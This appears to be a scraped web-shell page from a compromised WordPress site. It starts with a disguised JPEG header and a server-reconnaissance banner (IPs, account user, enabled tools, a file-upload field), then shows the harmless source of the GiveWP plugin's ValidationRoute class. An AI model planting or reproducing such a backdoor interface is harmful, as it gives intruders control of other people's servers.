????JFIF??x?x????'
Server IP : 104.21.112.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/give/src/DonationForms/Routes/ |
Upload File : |
<?php namespace Give\DonationForms\Routes; use Exception; use Give\DonationForms\DataTransferObjects\DonateRouteData; use Give\DonationForms\DataTransferObjects\ValidationRouteData; use Give\DonationForms\Exceptions\DonationFormFieldErrorsException; use Give\DonationForms\Exceptions\DonationFormForbidden; use Give\DonationForms\ValueObjects\DonationFormErrorTypes; use Give\Framework\PaymentGateways\Traits\HandleHttpResponses; use Give\Log\Log; use WP_Error; /** * @since 3.0.0 */ class ValidationRoute { use HandleHttpResponses; /** * @since 3.22.0 added additional catch statements for forbidden and unknown errors * @since 3.0.0 */ public function __invoke(array $request): bool { // create DTO from GET request $routeData = DonateRouteData::fromRequest(give_clean($_GET)); // validate signature $routeData->validateSignature(); // create DTO from POST request $formData = ValidationRouteData::fromRequest($request); try { $response = $formData->validate(); $this->handleResponse($response); } catch (DonationFormFieldErrorsException $exception) { $type = DonationFormErrorTypes::VALIDATION; $this->logError($type, $exception->getMessage(), $formData); $this->sendJsonError($type, $exception->getError()); } catch (DonationFormForbidden $exception) { wp_die($exception->getMessage(), 403); } catch (Exception $exception) { $type = DonationFormErrorTypes::UNKNOWN; $this->logError($type, $exception->getMessage(), $formData); $this->sendJsonError($type, new WP_Error($type, $exception->getMessage())); } exit; } /** * @since 3.0.0 */ private function logError( string $type, string $exceptionMessage, ValidationRouteData $formData ) { Log::error( "Donation Route Error: $type", [ 'error_type' => $type, 'exceptionMessage' => $exceptionMessage, 'formData' => $formData->toArray(), ] ); } /** * @param string $type * @param array|string|WP_Error $errors * @return void */ protected function sendJsonError(string $type, WP_Error $errors) { wp_send_json_error([ 'type' => $type, 'errors' => $errors, ]); } }